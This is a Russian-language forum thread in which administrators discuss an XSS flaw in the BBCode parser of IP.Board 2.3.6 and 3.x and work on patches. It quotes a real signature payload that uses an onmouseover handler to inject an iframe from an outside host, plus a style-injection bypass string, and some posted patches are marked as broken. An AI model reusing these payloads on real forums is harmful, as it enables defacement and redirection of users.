Перейти к контенту
  • 0

Пытаются взломать что делать


Вопрос

Есть форум ipb 2 3 6

 

один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код

 

[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

 

 

вот как работает тег акронима:

[acronym='Laugh Out Loud']lol[/acronym]


<acronym title='{option}'>{content}</acronym>

 

Как защититься и что делать?

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 100
  • Создана
  • Последний ответ

Лучшие авторы в этом вопросе

Лучшие авторы в этом вопросе

Загружено фотографий

Рекомендуемые сообщения

  • 0

там еще что-то есть, но от порчи разметки не спасет это факт

буду пока работать над атакой с первой страницы темы на локалхосте

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Поставил 2.3.6 на локали. Заэкранировали javascript-эвенты в подписях + забанили в acronym слово style (делят его на два пробелами). Вот и вся заплатка для 2.3.6.

 

Возможность новых дыр не исключает, найденные - закрывает :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0
А внесенных изменнений они не предоставили? А то у людей вообще то хаков куча стоит, что самим что ли выискивать какие строчки они там добавили/изменили?
Ссылка на комментарий
Поделиться на других сайтах

  • 0
А внесенных изменнений они не предоставили? А то у людей вообще то хаков куча стоит,

Не в этом же файле. :D

 

что самим что ли выискивать какие строчки они там добавили/изменили?

Для двойки.

 

sources/classes/bbcode/class_bbcode_core.php

Ищем

Изменено пользователем Arhar
Код битый, использовать нельзя
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Изменения

 

sources/classes/bbcode/class_bbcode_core.php

 

найти

 

 

 

И это все.

Изменено пользователем Arhar
Код битый, нельзя использовать
Ссылка на комментарий
Поделиться на других сайтах

  • 0

скоро напишу для 2 как сделать, чтобы было правильно в любом случае

ибо некоторые в своих ббкодах в опциях используют ссылки (типа недо-авто-распознавателей youtube) и они будут зарезаны, если чистить всегда символы ':' и ';'

Ссылка на комментарий
Поделиться на других сайтах

  • 0

идиотство

функция bad_words возвращает все защитные изменения обратно:

		for( $i = 97; $i <= 122; $i++ )
	{
		$text = str_replace( "".$i.";", chr($i), $text );
	}

 

у меня такой вопрос - какова вероятность того, что в опциях потребуется использовать символ пробел?

 

от себя предлагаю:

2.3.6

class_bbcode_core.php

функция bad_words

найти

return $text ? $text : $temp_text;

выше добавить

$text = $this->ipsclass->xss_html_clean($text);

 

функция post_db_parse_bbcode

найти

							# Recurse?
						if ( preg_match( "#\[.+?\]#s", $match[ $_content ][$i] ) )

выше добавить

$match[ $_option ][$i] = preg_replace("/\s+/","",trim($match[ $_option ][$i]));

 

проверить атаку на стили и xss

Ссылка на комментарий
Поделиться на других сайтах

  • 0
rinich, в настройках каждого из BBCode есть опция - "Предотвращать разбор вложенных кодов". Савьте "Да". Только кэш не сбрасывайте, а то уже существующие посты на форуме попортятся :D

Так и сделал вчера, кэш не сбрасывал.Сегодня Применил патч попытался восстановить исходные настройки и увидел как все смайлики превратились в ссылки на эти картинки =( Подскажите что напортачил и где =(

 

Если есть возможность экспортируйте пожалуйста все эти коды, я их себе перепишу )

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Просто верните разбор вложенных кодов для перечисленных тегов. Уже можно :D

Пытаюсь )) Не помогает =( Вы не могли бы экспортировать теги у себя с рабочими настройками? У меня такое ощущение что я чего-то не то накрутил. Вообще ни одна картинка не показывается...на всём форуме только ссылки на картинки =(

 

ББкоды т.е., там есть в админке кнопочка экспортировать )

Ссылка на комментарий
Поделиться на других сайтах

  • 0

да, насчет многих слов не подумал, точнее подумал когда уже ложился спать)

нужен универсальный метод, чтоб не напортить и в то же время защитить

предлагаю в таком случае в option резать [ и ]

 

кстати, как там с тройкой, нашел где там трабл?

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Arhar, в тройке поступили очень мощно - экранируют в зависимости от ситуации в urlencode или htmlentites все содержимое параметров, плюс экранируют и рубят style и javascript-эвенты. Нарушить структуру HTML по-прежнему можно, а вот загнать хоть какой-то валидный параметр в разверзшийся тег не удается)

 

rinich, у меня там этих ббкодов далеко не стандартный набор. Вот с чистого форума:

bbcode_2_.xml.tar.gz

 

Черт. Пока писал - понял как это сделать. Сейчас попробую :D

 

Так, я сломал тройку снова. Обошел патч. Делать дефейс страницы, или просто код скинуть? ;)

 

В общем, снова: http://community.invisionpower.com/topic/306313-pwned-again/

 

Не решили проблему, говорю же...

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Так, я сломал тройку снова. Обошел патч.

Работает, кстати, только если установлен предыдущий патч.

 

Индусы сами виноваты - додумались удалять все ';' (стр 454)... ппц... а чуть ниже (стр 1920) они пытаются преобразовать '"' в '"', НО ';' уже удалена... из-за этого и возможна данная уязвимость. Как вариант, закомментировать стр 454:

$txt = str_replace( array( ':', ';' ), '', $txt );

Зачем интересно она вообще?

 

На выходе будет:

style%5B/url%5D%5B/url%5Dstyle=display:block;position:fixed;top:250px;bottom:250px;left:250px;right:250px;background-color:red;z-index:10000;[/url]

Как поведет себя с остальными вариантами - не знаю.

Изменено пользователем LastDragon
Ссылка на комментарий
Поделиться на других сайтах

  • 0

bfarber мне в ЛС написал, что я заранец, что патч готов и уже поставлен на IPS и попросил его потестить перед релизом. В ответ снова сломал его за 30 минут и поделился новыми эксплоитом, а заодно рассказал методику взлома. Ждем нормального патча :D

 

По секрету скажу - во второй раз они заклеили url, новый третий эксплоит эксплуатирует тег email.

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0
bfarber мне в ЛС написал, что я заранец, что патч готов и уже поставлен на IPS и попросил его потестить перед релизом. В ответ снова сломал его за 30 минут и поделился новыми эксплоитом, а заодно рассказал методику взлома. Ждем нормального патча :D

 

По секрету скажу - во второй раз они заклеили url, новый третий эксплоит эксплуатирует тег email.

Ritsuka, мне почему-то кажется что для первоначально эксплоита уязвим любой кастомный BB-код? (да и остальные, которые разбираются стандартным парсером, т.е. core.php). Надеюсь мне это только приснилось.....

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Да, уязвимы вообще все коды с опцией. Ведем активную дискуссию с bfarber, он чинит - я ломаю, и так по кругу уже который раз)
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Да, уязвимы вообще все коды с опцией. Ведем активную дискуссию с bfarber, он чинит - я ломаю, и так по кругу уже который раз)

Вы ему только сказать не забудьте, что пользователи могут создавать свои собственные бб-коды, следовательно, его (или чей там) вариант с case и названием bb-кода это не решение проблемы.

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Офигительный текст новости, мне нра: Обновление безопасности в IP.Board 3.0.5 и 2.3.6.
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Офигительный текст новости, мне нра: Обновление безопасности в IP.Board 3.0.5 и 2.3.6.

Да, особенно если учесть что этот патч исправляет одно конкретное применение узявимости (т.е. по сути пользы от него немного, НО ставить все равно нужно).

 

Собственный форум IBR видимо не читают...

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Ritsuka, как там?

 

Мысли в слух: Интересно, как они это исправят? Все осложняется тем, что определить где именно (в в атрибуте или нет) расположен BB-код в данный момент невозможно - порядок разбора BB-кодов не определен, т.е. строка "[a_='11' [b_]][/a_][/b_]" может быть разобрана по разному

1) Сначала [a_] - тогда "'11' [b_" считается атрибутом

2) Сначала [b_] - тогда значением опции [a_] будет часть HTML кода после преобразования [b_] (возможно не весь)

 

Отсюда, в частности, следует, что вариант с заменой [ и ] не будет работать.

 

Если бы IPS вместо текущего парсера использовали парсер на основе конечных автоматов, то (1) проблемы бы не было, (2) работал бы он скорее всего быстрее. Понятно, что переделывать текущую реализацию никто не будет...

 

Не тестировал. Поправьте если ошибаюсь.

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.